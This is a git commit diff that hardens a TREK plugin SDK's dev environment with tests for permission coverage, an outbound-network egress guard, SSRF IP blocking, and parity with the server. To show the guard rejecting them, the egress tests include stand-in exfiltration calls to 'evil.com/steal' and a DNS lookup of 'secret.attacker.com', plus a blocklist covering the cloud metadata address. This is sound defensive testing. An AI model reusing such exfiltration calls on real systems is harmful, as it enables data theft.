mirror of
https://github.com/mauriceboe/TREK.git
synced 2026-11-30 00:20:07 +00:00
fix(sdk) harden dev environment
This commit is contained in:
+29
-10
@@ -4,7 +4,9 @@ import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import { validateManifest } from '../src/index.js';
|
||||
import { scaffold } from '../src/cli/create.js';
|
||||
import { PERMISSION_CATALOG, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js';
|
||||
import { PERMISSION_CATALOG, PERMISSION_FAMILIES, KNOWN_PERMISSIONS, isInteractive, missingArgs } from '../src/cli/ui.js';
|
||||
// The authoritative set — what the HOST accepts at activation. The picker must match it.
|
||||
import { KNOWN_PERMISSIONS as MANIFEST_PERMISSIONS } from '../src/manifest.js';
|
||||
import { resolveMenuChoice, PRIMARY_MENU, ADVANCED_MENU } from '../src/cli/menu.js';
|
||||
|
||||
describe('scaffold egress (http:outbound)', () => {
|
||||
@@ -38,15 +40,32 @@ describe('scaffold egress (http:outbound)', () => {
|
||||
});
|
||||
|
||||
describe('permission catalog', () => {
|
||||
it('covers exactly the known permission ids (none lost in the move to ui.ts)', () => {
|
||||
expect(KNOWN_PERMISSIONS).toEqual([
|
||||
'db:own', 'db:read:trips', 'db:read:users', 'db:read:costs', 'db:write:costs',
|
||||
'db:write:places', 'db:write:days', 'db:write:itinerary', 'db:write:trips',
|
||||
'db:meta',
|
||||
'ws:broadcast:trip', 'ws:broadcast:user',
|
||||
'hook:photo-provider', 'hook:calendar-source', 'hook:notification-channel', 'hook:place-detail-provider', 'hook:trip-warning-provider', 'http:outbound',
|
||||
]);
|
||||
for (const p of PERMISSION_CATALOG) expect(p.hint.length).toBeGreaterThan(0); // every option is described
|
||||
// This test used to PIN an 18-item list and call it "exactly the known permission ids".
|
||||
// It was wrong: the real set is ~58, so `create` could not offer jobs:run,
|
||||
// events:subscribe or 7 of the 12 hooks, and the assertion guaranteed nobody noticed.
|
||||
// It now asserts COVERAGE against the manifest validator's list, which is the only
|
||||
// list the host actually honours — so a new TREK permission fails here until `create`
|
||||
// can offer it.
|
||||
it('offers every permission the host accepts — no more, no less', () => {
|
||||
expect([...KNOWN_PERMISSIONS].sort()).toEqual([...MANIFEST_PERMISSIONS].sort());
|
||||
});
|
||||
|
||||
it('describes every permission, and files it in exactly one family', () => {
|
||||
for (const p of PERMISSION_CATALOG) {
|
||||
expect(p.hint.length, `${p.value} has no hint`).toBeGreaterThan(0);
|
||||
expect(PERMISSION_FAMILIES.filter((f) => f.permissions.some((x) => x.value === p.value)))
|
||||
.toHaveLength(1);
|
||||
}
|
||||
// No duplicates across families — a permission listed twice would render twice.
|
||||
expect(new Set(KNOWN_PERMISSIONS).size).toBe(KNOWN_PERMISSIONS.length);
|
||||
});
|
||||
|
||||
it('every family is non-empty and described (an empty one is a dead prompt entry)', () => {
|
||||
for (const f of PERMISSION_FAMILIES) {
|
||||
expect(f.permissions.length, `family ${f.id} is empty`).toBeGreaterThan(0);
|
||||
expect(f.label.length).toBeGreaterThan(0);
|
||||
expect(f.hint.length).toBeGreaterThan(0);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest';
|
||||
import {
|
||||
makeHostAllow, isBlockedIp, classifyConnect, unwrapConnectArgs, dgramSendTarget, dgramConnectTarget,
|
||||
installEgressGuard, type RestoreEgress,
|
||||
} from '../src/egress-policy.js';
|
||||
|
||||
describe('makeHostAllow', () => {
|
||||
it('matches an exact host only', () => {
|
||||
const allow = makeHostAllow(['api.example.com']);
|
||||
expect(allow('api.example.com')).toBe(true);
|
||||
expect(allow('API.Example.COM')).toBe(true); // case-insensitive
|
||||
expect(allow('api.example.com.')).toBe(true); // trailing-dot FQDN
|
||||
expect(allow('evil.com')).toBe(false);
|
||||
expect(allow('notapi.example.com')).toBe(false);
|
||||
});
|
||||
|
||||
it('matches subdomains (and the apex) for a *.suffix wildcard', () => {
|
||||
const allow = makeHostAllow(['*.example.com']);
|
||||
expect(allow('a.example.com')).toBe(true);
|
||||
expect(allow('deep.nested.example.com')).toBe(true);
|
||||
expect(allow('example.com')).toBe(true); // the apex itself
|
||||
expect(allow('example.com.evil.net')).toBe(false);
|
||||
});
|
||||
|
||||
it('refuses the allow-all patterns — a bare * and a whole-TLD wildcard', () => {
|
||||
expect(makeHostAllow(['*'])('anything.com')).toBe(false);
|
||||
expect(makeHostAllow(['*.com'])('anything.com')).toBe(false);
|
||||
expect(makeHostAllow(['*.'])('anything.com')).toBe(false);
|
||||
});
|
||||
|
||||
it('with no declared hosts, nothing is allowed — as in production', () => {
|
||||
const allow = makeHostAllow([]);
|
||||
expect(allow('example.com')).toBe(false);
|
||||
expect(allow('localhost')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isBlockedIp', () => {
|
||||
it.each([
|
||||
'127.0.0.1', '10.0.0.5', '172.16.0.1', '172.31.255.255', '192.168.1.1',
|
||||
'169.254.169.254', // cloud metadata — the SSRF prize
|
||||
'100.64.0.1', '0.0.0.0', '224.0.0.1',
|
||||
])('blocks %s', (ip) => expect(isBlockedIp(ip)).toBe(true));
|
||||
|
||||
it.each(['8.8.8.8', '1.1.1.1', '172.32.0.1', '192.169.0.1', '99.1.2.3'])(
|
||||
'allows public %s', (ip) => expect(isBlockedIp(ip)).toBe(false),
|
||||
);
|
||||
|
||||
it('blocks every spelling of an IPv6 loopback/metadata address', () => {
|
||||
expect(isBlockedIp('::1')).toBe(true);
|
||||
expect(isBlockedIp('::')).toBe(true);
|
||||
expect(isBlockedIp('fe80::1')).toBe(true); // link-local
|
||||
expect(isBlockedIp('fc00::1')).toBe(true); // ULA
|
||||
expect(isBlockedIp('::ffff:127.0.0.1')).toBe(true); // IPv4-mapped, dotted
|
||||
expect(isBlockedIp('::ffff:a9fe:a9fe')).toBe(true); // IPv4-mapped metadata, hex
|
||||
expect(isBlockedIp('[::ffff:169.254.169.254]')).toBe(true); // bracketed
|
||||
expect(isBlockedIp('2606:4700::1111')).toBe(false); // public v6
|
||||
});
|
||||
});
|
||||
|
||||
describe('connect / dgram argument parsing', () => {
|
||||
const isIP = (s: string) => /^\d+\.\d+\.\d+\.\d+$/.test(s);
|
||||
|
||||
it('unwraps the pre-normalised [options, cb] array net.connect() passes', () => {
|
||||
const opts = { host: 'a.com', port: 80 };
|
||||
expect(unwrapConnectArgs([[opts, () => {}]])).toEqual([opts, expect.any(Function)]);
|
||||
expect(unwrapConnectArgs([opts])).toEqual([opts]);
|
||||
});
|
||||
|
||||
it('classifies every connect() overload', () => {
|
||||
expect(classifyConnect([{ host: 'a.com', port: 443 }], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
||||
expect(classifyConnect([{ host: '1.2.3.4' }], isIP)).toEqual({ kind: 'literal-ip', host: '1.2.3.4' });
|
||||
expect(classifyConnect([{ path: '/var/run/docker.sock' }], isIP)).toEqual({ kind: 'local', host: '/var/run/docker.sock' });
|
||||
expect(classifyConnect(['/tmp/x.sock'], isIP)).toEqual({ kind: 'local', host: '/tmp/x.sock' });
|
||||
expect(classifyConnect([443, 'a.com'], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
||||
expect(classifyConnect([443], isIP)).toEqual({ kind: 'hostname', host: 'localhost' });
|
||||
// the plain-HTTP path undici takes — misparsing this once made every HTTP call
|
||||
// look like a connect to "localhost"
|
||||
expect(classifyConnect([[{ host: 'a.com', port: 80 }, () => {}]], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
||||
});
|
||||
|
||||
it('finds the dgram destination in both send() overloads', () => {
|
||||
expect(dgramSendTarget(['msg', 514, 'logs.example.com'])).toBe('logs.example.com');
|
||||
expect(dgramSendTarget(['msg', 0, 3, 514, 'logs.example.com'])).toBe('logs.example.com'); // (offset,length) form
|
||||
expect(dgramSendTarget(['msg', 514])).toBeNull(); // no explicit address
|
||||
expect(dgramConnectTarget([514, 'logs.example.com'])).toBe('logs.example.com');
|
||||
expect(dgramConnectTarget([514])).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('installEgressGuard', () => {
|
||||
let restore: RestoreEgress | null = null;
|
||||
afterEach(() => { restore?.(); restore = null; });
|
||||
|
||||
it('rejects a fetch to an undeclared host, and names the permission to add', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/evil\.com is not in the plugin's declared hosts/);
|
||||
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/http:outbound:evil\.com/);
|
||||
});
|
||||
|
||||
it('blocks ALL outbound when no host is declared — as in production', async () => {
|
||||
restore = installEgressGuard([]);
|
||||
await expect(fetch('https://api.example.com')).rejects.toThrow(/not in the plugin's declared hosts/);
|
||||
});
|
||||
|
||||
it('rejects a malformed url rather than passing it through', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
await expect(fetch('not-a-url')).rejects.toThrow(/egress: invalid url/);
|
||||
});
|
||||
|
||||
it('lets a declared host through to the real fetch (it delegates, never resolves)', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
// Port 1 will never connect, so this rejects either way — what matters is WHICH error.
|
||||
// An egress refusal would mean the guard blocked a host it was told to allow.
|
||||
const err = await fetch('http://api.example.com:1/').catch((e: Error) => e.message);
|
||||
expect(err).not.toMatch(/declared hosts/);
|
||||
expect(err).toMatch(/fetch failed|ECONNREFUSED/);
|
||||
});
|
||||
|
||||
it('gates a DNS lookup for an undeclared name (the DNS-tunnel channel)', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
const dns = await import('node:dns');
|
||||
await expect(dns.promises.resolveTxt('secret.attacker.com')).rejects.toThrow(/DNS lookup for secret\.attacker\.com/);
|
||||
});
|
||||
|
||||
// Regression: gating literal IPs too broke the dev server's OWN listener — Node
|
||||
// resolves a bind address through dns.lookup, so `listen(port, '127.0.0.1')` was
|
||||
// refused by its own guard and dev could not start. An IP has no name to tunnel
|
||||
// data in; reaching it is still barred by the connect guard + isBlockedIp.
|
||||
it('does NOT gate a lookup of a literal IP (the dev server binds through dns.lookup)', async () => {
|
||||
restore = installEgressGuard([]); // nothing declared: the strictest possible policy
|
||||
const dns = await import('node:dns');
|
||||
await expect(dns.promises.lookup('127.0.0.1')).resolves.toMatchObject({ address: '127.0.0.1' });
|
||||
});
|
||||
|
||||
it('still refuses to CONNECT to a blocked literal IP', async () => {
|
||||
restore = installEgressGuard(['1.2.3.4']);
|
||||
const net = await import('node:net');
|
||||
// Declared, but private — the SSRF backstop outranks the allowlist.
|
||||
expect(() => new net.Socket().connect({ host: '127.0.0.1', port: 1 })).toThrow(/blocked address|declared hosts/);
|
||||
});
|
||||
|
||||
it('restores the real fetch and dns on teardown', async () => {
|
||||
const realFetch = globalThis.fetch;
|
||||
const dns = await import('node:dns');
|
||||
const realResolve = dns.promises.resolveTxt;
|
||||
const undo = installEgressGuard(['api.example.com']);
|
||||
expect(globalThis.fetch).not.toBe(realFetch);
|
||||
undo();
|
||||
expect(globalThis.fetch).toBe(realFetch);
|
||||
expect(dns.promises.resolveTxt).toBe(realResolve);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,54 @@
|
||||
/**
|
||||
* The SDK hand-mirrors two things the server owns: the hook→permission map, and the
|
||||
* pure egress-policy helpers. trek-plugin-sdk ships standalone and cannot import across
|
||||
* the package boundary, so the copies are real copies — and a silent drift here is the
|
||||
* worst possible bug in this module: `dev` would confidently green-light a plugin that
|
||||
* the host then refuses (or refuse one the host would allow).
|
||||
*
|
||||
* These tests read the server's source directly. They only run inside the TREK monorepo;
|
||||
* in a published/standalone checkout the server isn't there and they skip.
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import fs from 'node:fs';
|
||||
import path from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { HOOK_PERMISSION } from '../src/permissions.js';
|
||||
|
||||
const here = path.dirname(fileURLToPath(import.meta.url));
|
||||
const serverPlugins = path.resolve(here, '../../server/src/nest/plugins');
|
||||
const supervisor = path.join(serverPlugins, 'supervisor/plugin-supervisor.ts');
|
||||
const serverEgress = path.join(serverPlugins, 'runtime/egress-policy.ts');
|
||||
const inMonorepo = fs.existsSync(supervisor) && fs.existsSync(serverEgress);
|
||||
|
||||
describe.skipIf(!inMonorepo)('parity with the host', () => {
|
||||
it('HOOK_PERMISSION matches the supervisor\'s map exactly', () => {
|
||||
const src = fs.readFileSync(supervisor, 'utf8');
|
||||
const block = src.match(/const HOOK_PERMISSION[^{]*\{([\s\S]*?)\n\};/);
|
||||
expect(block, 'could not find HOOK_PERMISSION in plugin-supervisor.ts').toBeTruthy();
|
||||
|
||||
const host: Record<string, string> = {};
|
||||
for (const [, key, perm] of block![1].matchAll(/^\s*(\w+):\s*'([^']+)'/gm)) host[key] = perm;
|
||||
|
||||
// Both directions: a hook the host gates that we don't know about means dev fires it
|
||||
// when TREK never would; one we gate that the host doesn't means dev refuses for nothing.
|
||||
expect(Object.keys(host).length).toBeGreaterThan(0);
|
||||
expect(HOOK_PERMISSION).toEqual(host);
|
||||
});
|
||||
|
||||
it('the vendored egress-policy helpers are byte-identical to the server\'s', () => {
|
||||
const ours = fs.readFileSync(path.resolve(here, '../src/egress-policy.ts'), 'utf8');
|
||||
const theirs = fs.readFileSync(serverEgress, 'utf8');
|
||||
|
||||
// Compare the pure helpers only — our file additionally carries installEgressGuard
|
||||
// (the server's lives in plugin-host-entry.ts, where it is coupled to the child).
|
||||
const fns = ['isBlockedIp', 'expandV6', 'makeHostAllow', 'dgramSendTarget', 'dgramConnectTarget', 'unwrapConnectArgs', 'classifyConnect'];
|
||||
const body = (src: string, name: string): string => {
|
||||
const start = src.indexOf(`function ${name}(`);
|
||||
expect(start, `${name} not found`).toBeGreaterThan(-1);
|
||||
// From the signature to the closing brace at column 0 — these are all top-level fns.
|
||||
const end = src.indexOf('\n}', start);
|
||||
return src.slice(start, end).replace(/\s+/g, ' ').trim();
|
||||
};
|
||||
for (const fn of fns) expect(body(ours, fn), `${fn} has drifted from the server`).toBe(body(theirs, fn));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
grantGaps, grantedHosts, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
|
||||
} from '../src/permissions.js';
|
||||
|
||||
const noop = () => {};
|
||||
|
||||
describe('grantGaps — entry points TREK would never run', () => {
|
||||
it('reports nothing for an empty plugin', () => {
|
||||
expect(grantGaps({}, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
// The whole point of this module: every hook must be gated on its own permission, and
|
||||
// a typo in one row of the map is a plugin that silently never runs in production.
|
||||
for (const [key, permission] of Object.entries(HOOK_PERMISSION)) {
|
||||
it(`flags hooks.${key} without ${permission}`, () => {
|
||||
const plugin = { hooks: { [key]: { anyFn: noop } } };
|
||||
const gaps = grantGaps(plugin, new Set());
|
||||
expect(gaps).toHaveLength(1);
|
||||
expect(gaps[0]).toMatchObject({ entryPoint: `hooks.${key}`, permission });
|
||||
});
|
||||
|
||||
it(`does not flag hooks.${key} when ${permission} is granted`, () => {
|
||||
expect(grantGaps({ hooks: { [key]: { anyFn: noop } } }, new Set([permission]))).toEqual([]);
|
||||
});
|
||||
}
|
||||
|
||||
it.each([
|
||||
['jobs', { jobs: [{ id: 'refresh', handler: noop }] }, JOBS_PERMISSION],
|
||||
['scheduled', { scheduled: noop }, JOBS_PERMISSION],
|
||||
['events', { events: [{ on: 'place:created', handler: noop }] }, EVENTS_PERMISSION],
|
||||
['deleteUserData', { deleteUserData: noop }, USER_DATA_PERMISSION],
|
||||
['exportUserData', { exportUserData: noop }, USER_DATA_PERMISSION],
|
||||
])('flags %s without its grant, and clears once granted', (entryPoint, plugin, permission) => {
|
||||
const gaps = grantGaps(plugin, new Set());
|
||||
expect(gaps).toHaveLength(1);
|
||||
expect(gaps[0]).toMatchObject({ entryPoint, permission });
|
||||
expect(grantGaps(plugin, new Set([permission]))).toEqual([]);
|
||||
});
|
||||
|
||||
it('does not flag an EMPTY jobs/events array — nothing is implemented', () => {
|
||||
expect(grantGaps({ jobs: [], events: [] }, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
it('ignores an unknown hooks.* key (the host ignores it too, so it is not a gap)', () => {
|
||||
expect(grantGaps({ hooks: { notAHook: { f: noop } } }, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
it('reports every gap at once, so one dev run surfaces them all', () => {
|
||||
const gaps = grantGaps(
|
||||
{ jobs: [{ id: 'j', handler: noop }], events: [{ on: '*', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } },
|
||||
new Set(),
|
||||
);
|
||||
expect(gaps.map((g) => g.permission).sort()).toEqual(
|
||||
[EVENTS_PERMISSION, JOBS_PERMISSION, 'hook:trip-warning-provider'].sort(),
|
||||
);
|
||||
});
|
||||
|
||||
it('a partially-granted plugin reports only what is missing', () => {
|
||||
const plugin = { jobs: [{ id: 'j', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } };
|
||||
const gaps = grantGaps(plugin, new Set([JOBS_PERMISSION]));
|
||||
expect(gaps).toHaveLength(1);
|
||||
expect(gaps[0].permission).toBe('hook:trip-warning-provider');
|
||||
});
|
||||
});
|
||||
|
||||
describe('grantedHosts', () => {
|
||||
it('takes the hosts from http:outbound:<host> permissions only', () => {
|
||||
expect(grantedHosts(['db:own', 'http:outbound:api.example.com', 'http:outbound:*.foo.dev'])).toEqual([
|
||||
'api.example.com',
|
||||
'*.foo.dev',
|
||||
]);
|
||||
});
|
||||
|
||||
it('a bare http:outbound names no host — it reaches nothing', () => {
|
||||
expect(grantedHosts(['http:outbound'])).toEqual([]);
|
||||
expect(grantedHosts(['http:outbound:'])).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -4,7 +4,7 @@ import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import zlib from 'node:zlib';
|
||||
import { createRequire } from 'node:module';
|
||||
import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost } from '../src/index.js';
|
||||
import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost, PermissionDenied } from '../src/index.js';
|
||||
import { isUnboundedRange } from '../src/manifest.js';
|
||||
import { scaffold } from '../src/cli/create.js';
|
||||
import { validatePluginDir } from '../src/cli/validate.js';
|
||||
@@ -285,7 +285,12 @@ describe('createMockHost', () => {
|
||||
async exportUserData({ userId }) { return { userId, rows: 2 }; },
|
||||
hooks: { tripCardProvider: { async getCards(tripIds) { return tripIds.map((id) => ({ tripId: id, id: 'b', label: 'X' })); } } },
|
||||
});
|
||||
const host = createMockHost({ grants: ['jobs:run', 'hook:trip-card-provider'], actingUserId: 7 });
|
||||
// Every entry point needs the grant TREK would gate it on — events and the GDPR
|
||||
// handlers included, or the driver refuses them exactly as the host would.
|
||||
const host = createMockHost({
|
||||
grants: ['jobs:run', 'events:subscribe', 'hook:user-data', 'hook:trip-card-provider'],
|
||||
actingUserId: 7,
|
||||
});
|
||||
const d = host.run(def);
|
||||
|
||||
const res = await d.route({ method: 'GET', path: '/ping' });
|
||||
@@ -305,6 +310,52 @@ describe('createMockHost', () => {
|
||||
await expect(host.run(definePlugin({})).scheduled('x')).rejects.toThrow(/no scheduled handler/);
|
||||
});
|
||||
|
||||
// TREK gates hooks, events, jobs and the GDPR handlers on a permission BEFORE the plugin
|
||||
// is reached, and skips an ungranted plugin silently — no error, no log, it just never
|
||||
// runs. The driver must refuse them, or a green unit test still means a dead plugin.
|
||||
it('refuses every entry point the manifest did not grant, the way TREK would', async () => {
|
||||
const ran: string[] = [];
|
||||
const def = definePlugin({
|
||||
jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }],
|
||||
async scheduled() { ran.push('scheduled'); },
|
||||
events: [{ on: 'place:created', handler() { ran.push('event'); } }],
|
||||
async deleteUserData() { ran.push('delete'); },
|
||||
async exportUserData() { ran.push('export'); return {}; },
|
||||
hooks: {
|
||||
warningProvider: { async getWarnings() { ran.push('warn'); return []; } },
|
||||
notificationChannel: { async send() { ran.push('send'); }, async test() { ran.push('test'); } },
|
||||
},
|
||||
});
|
||||
const d = createMockHost({ grants: [] }).run(def); // implements everything, granted nothing
|
||||
|
||||
await expect(d.job('refresh')).rejects.toThrow(PermissionDenied);
|
||||
await expect(d.job('refresh')).rejects.toThrow(/requires jobs:run/);
|
||||
await expect(d.scheduled('daily')).rejects.toThrow(/requires jobs:run/);
|
||||
await expect(d.event('place:created')).rejects.toThrow(/requires events:subscribe/);
|
||||
await expect(d.deleteUserData(1)).rejects.toThrow(/requires hook:user-data/);
|
||||
await expect(d.exportUserData(1)).rejects.toThrow(/requires hook:user-data/);
|
||||
await expect(d.hook('warningProvider', 'getWarnings', 1)).rejects.toThrow(/requires hook:trip-warning-provider/);
|
||||
await expect(d.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).rejects.toThrow(/requires hook:notification-channel/);
|
||||
await expect(d.channel.test()).rejects.toThrow(/requires hook:notification-channel/);
|
||||
|
||||
// Not one handler ran. That is the production behaviour this mirrors.
|
||||
expect(ran).toEqual([]);
|
||||
});
|
||||
|
||||
it('runs the same entry points once the grants are there', async () => {
|
||||
const ran: string[] = [];
|
||||
const def = definePlugin({
|
||||
jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }],
|
||||
events: [{ on: 'place:created', handler() { ran.push('event'); } }],
|
||||
hooks: { warningProvider: { async getWarnings() { ran.push('warn'); return []; } } },
|
||||
});
|
||||
const d = createMockHost({ grants: ['jobs:run', 'events:subscribe', 'hook:trip-warning-provider'] }).run(def);
|
||||
await d.job('refresh');
|
||||
await d.event('place:created');
|
||||
await d.hook('warningProvider', 'getWarnings', 1);
|
||||
expect(ran).toEqual(['job', 'event', 'warn']);
|
||||
});
|
||||
|
||||
it('exposes the scheduler timers a plugin armed via ctx.scheduler', async () => {
|
||||
const def = definePlugin({ async onLoad(ctx) { await ctx.scheduler.every(3_600_000, 'sync', { n: 1 }); } });
|
||||
const host = createMockHost({ grants: ['jobs:run'] });
|
||||
@@ -900,13 +951,15 @@ describe('mock-host inter-plugin (plugins.call + events.emit)', () => {
|
||||
await expect(narrowed.channel.send({ event: 'trip_invite', title: 'T', body: 'B' })).rejects.toThrow(/never dispatches/);
|
||||
await expect(narrowed.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).resolves.toBeUndefined();
|
||||
|
||||
await expect(createMockHost({}).run(definePlugin({})).channel.send({ event: 'todo_due', title: 'T', body: 'B' }))
|
||||
await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(definePlugin({}))
|
||||
.channel.send({ event: 'todo_due', title: 'T', body: 'B' }))
|
||||
.rejects.toThrow(/no notificationChannel hook/);
|
||||
});
|
||||
|
||||
it('a plugin with no notificationChannel.test is a clear error, not a silent pass', async () => {
|
||||
const def = definePlugin({ hooks: { notificationChannel: { async send() {} } } });
|
||||
await expect(createMockHost({}).run(def).channel.test()).rejects.toThrow(/no notificationChannel\.test/);
|
||||
await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(def).channel.test())
|
||||
.rejects.toThrow(/no notificationChannel\.test/);
|
||||
});
|
||||
|
||||
it('runs a settings action as the CLICKING user and shapes the result like the host', async () => {
|
||||
|
||||
Reference in New Issue
Block a user